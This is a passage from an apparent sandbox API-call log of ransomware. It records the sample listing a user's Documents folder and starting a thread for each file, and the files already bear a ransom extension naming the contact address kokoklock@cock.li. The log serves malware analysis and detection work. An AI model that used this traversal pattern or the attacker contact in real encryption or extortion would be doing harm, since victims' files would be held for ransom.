ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.885] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.885] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.885] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6d31c0, ftCreationTime.dwHighDateTime=0x1d4d3ab, ftLastAccessTime.dwLowDateTime=0xb1cb4360, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0x830b5521, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1016f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DXP6BF~1.D0E")) returned 1 [0168.885] wcscmp (_String1="DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.885] wcscmp (_String1="DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e6b0 [0168.885] wcscpy (in: _Dest=0x2f6e6b0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.885] wcscat (in: _Dest=0x2f6e6b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.885] wcscat (in: _Dest=0x2f6e6b0, _Source="DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" [0168.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0168.886] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2b861b0, ftCreationTime.dwHighDateTime=0x1d53004, ftLastAccessTime.dwLowDateTime=0xa9f3e020, ftLastAccessTime.dwHighDateTime=0x1d51b0b, ftLastWriteTime.dwLowDateTime=0x83101b4c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x125de, dwReserved0=0x0, dwReserved1=0x0, cFileName="gnGro.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GNGROP~1.D0E")) returned 1 [0168.886] wcscmp (_String1="gnGro.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.886] wcscmp (_String1="gnGro.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fe4da8 [0168.886] wcscpy (in: _Dest=0x2fe4da8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.886] wcscat (in: _Dest=0x2fe4da8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.886] wcscat (in: _Dest=0x2fe4da8, _Source="gnGro.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" [0168.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0168.889] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a9ac360, ftCreationTime.dwHighDateTime=0x1d4e1b1, ftLastAccessTime.dwLowDateTime=0x479698d0, ftLastAccessTime.dwHighDateTime=0x1d536b5, ftLastWriteTime.dwLowDateTime=0x83127cd0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11354, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GRBZOY~1.D0E")) returned 1 [0168.889] wcscmp (_String1="GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.889] wcscmp (_String1="GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6efa0 [0168.889] wcscpy (in: _Dest=0x2f6efa0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.889] wcscat (in: _Dest=0x2f6efa0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.889] wcscat (in: _Dest=0x2f6efa0, _Source="GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" [0168.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6efa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0168.890] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59432e70, ftCreationTime.dwHighDateTime=0x1d54c74, ftLastAccessTime.dwLowDateTime=0xeb1c4d30, ftLastAccessTime.dwHighDateTime=0x1d4e3c5, ftLastWriteTime.dwLowDateTime=0x83174318, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15687, dwReserved0=0x0, dwReserved1=0x0, cFileName="jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JQWBLA~1.D0E")) returned 1 [0168.890] wcscmp (_String1="jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.890] wcscmp (_String1="jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.890] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e970 [0168.890] wcscpy (in: _Dest=0x2f6e970, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.890] wcscat (in: _Dest=0x2f6e970, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.890] wcscat (in: _Dest=0x2f6e970, _Source="jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" [0168.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0168.891] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19417d10, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x6e72f670, ftLastAccessTime.dwHighDateTime=0x1d4ca1c, ftLastWriteTime.dwLowDateTime=0x8319a643, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JVVZUL~1.D0E")) returned 1 [0168.891] wcscmp (_String1="jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.891] wcscmp (_String1="jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.891] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f68f28 [0168.891] wcscpy (in: _Dest=0x2f68f28, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.891] wcscat (in: _Dest=0x2f68f28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.891] wcscat (in: _Dest=0x2f68f28, _Source="jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" [0168.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f68f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0168.892] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4be8d60, ftCreationTime.dwHighDateTime=0x1d558a6, ftLastAccessTime.dwLowDateTime=0x4965d6d0, ftLastAccessTime.dwHighDateTime=0x1d55ae1, ftLastWriteTime.dwLowDateTime=0x831e6a77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x160af, dwReserved0=0x0, dwReserved1=0x0, cFileName="ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LTKDJJ~1.D0E")) returned 1 [0168.892] wcscmp (_String1="ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.892] wcscmp (_String1="ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.892] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe4850 [0168.892] wcscpy (in: _Dest=0x2fe4850, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.892] wcscat (in: _Dest=0x2fe4850, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.892] wcscat (in: _Dest=0x2fe4850, _Source="ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0168.892] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a27dac0, ftCreationTime.dwHighDateTime=0x1d4cd5b, ftLastAccessTime.dwLowDateTime=0x7d732140, ftLastAccessTime.dwHighDateTime=0x1d4cbc5, ftLastWriteTime.dwLowDateTime=0x83233abc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MVTSTN~1.D0E")) returned 1 [0168.892] wcscmp (_String1="MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.893] wcscmp (_String1="MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee978 [0168.893] wcscpy (in: _Dest=0x2fee978, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.893] wcscat (in: _Dest=0x2fee978, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.893] wcscat (in: _Dest=0x2fee978, _Source="MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" [0168.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0168.893] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0168.893] wcscmp (_String1="My Music", _String2=".") returned 1 [0168.893] wcscmp (_String1="My Music", _String2="..") returned 1 [0168.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa12c0 [0168.894] wcscpy (in: _Dest=0x2fa12c0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.894] wcscat (in: _Dest=0x2fa12c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.894] wcscat (in: _Dest=0x2fa12c0, _Source="My Music" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music") returned="C:\\Users\\FD1HVy\\Documents\\My Music" [0168.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa12c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0168.894] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0168.894] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0168.894] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0168.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88c08 [0168.894] wcscpy (in: _Dest=0x2f88c08, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.895] wcscat (in: _Dest=0x2f88c08, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.895] wcscat (in: _Dest=0x2f88c08, _Source="My Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures" [0168.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0168.895] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0168.895] wcscmp (_String1="My Shapes", _String2=".") returned 1 [0168.895] wcscmp (_String1="My Shapes", _String2="..") returned 1 [0168.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1810 [0168.895] wcscpy (in: _Dest=0x2fa1810, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.895] wcscat (in: _Dest=0x2fa1810, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.895] wcscat (in: _Dest=0x2fa1810, _Source="My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0168.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0168.896] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0168.896] wcscmp (_String1="My Videos", _String2=".") returned 1 [0168.896] wcscmp (_String1="My Videos", _String2="..") returned 1 [0168.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1680 [0168.896] wcscpy (in: _Dest=0x2fa1680, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.896] wcscat (in: _Dest=0x2fa1680, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.896] wcscat (in: _Dest=0x2fa1680, _Source="My Videos" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos") returned="C:\\Users\\FD1HVy\\Documents\\My Videos" [0168.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0168.897] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3d62d0, ftCreationTime.dwHighDateTime=0x1d54e4f, ftLastAccessTime.dwLowDateTime=0x57c7ae20, ftLastAccessTime.dwHighDateTime=0x1d5092d, ftLastWriteTime.dwLowDateTime=0x83258f38, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x129f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="O1D0IK~1.D0E")) returned 1 [0168.897] wcscmp (_String1="o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.897] wcscmp (_String1="o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fedbb0 [0168.897] wcscpy (in: _Dest=0x2fedbb0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.897] wcscat (in: _Dest=0x2fedbb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.897] wcscat (in: _Dest=0x2fedbb0, _Source="o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0168.898] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0168.898] wcscmp (_String1="Outlook Files", _String2=".") returned 1 [0168.898] wcscmp (_String1="Outlook Files", _String2="..") returned 1 [0168.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88b58 [0168.898] wcscpy (in: _Dest=0x2f88b58, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.898] wcscat (in: _Dest=0x2f88b58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.898] wcscat (in: _Dest=0x2f88b58, _Source="Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0168.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88b58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0168.899] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd182e300, ftCreationTime.dwHighDateTime=0x1d5408d, ftLastAccessTime.dwLowDateTime=0x6ec1ddd0, ftLastAccessTime.dwHighDateTime=0x1d4edcb, ftLastWriteTime.dwLowDateTime=0x832a54c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x44fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PM6HCM~1.D0E")) returned 1 [0168.899] wcscmp (_String1="PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.899] wcscmp (_String1="PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.899] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe4980 [0168.899] wcscpy (in: _Dest=0x2fe4980, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.899] wcscat (in: _Dest=0x2fe4980, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.899] wcscat (in: _Dest=0x2fe4980, _Source="PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" [0168.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0168.900] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef02560, ftCreationTime.dwHighDateTime=0x1d528f4, ftLastAccessTime.dwLowDateTime=0x1e14e8d0, ftLastAccessTime.dwHighDateTime=0x1d556af, ftLastWriteTime.dwLowDateTime=0x832cb6c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb98f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SQLEEJ~1.D0E")) returned 1 [0168.900] wcscmp (_String1="SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.900] wcscmp (_String1="SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.900] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe4c78 [0168.900] wcscpy (in: _Dest=0x2fe4c78, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.900] wcscat (in: _Dest=0x2fe4c78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.900] wcscat (in: _Dest=0x2fe4c78, _Source="SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" [0168.900] CreateThread (in: lpThreadAttributes=0x0, 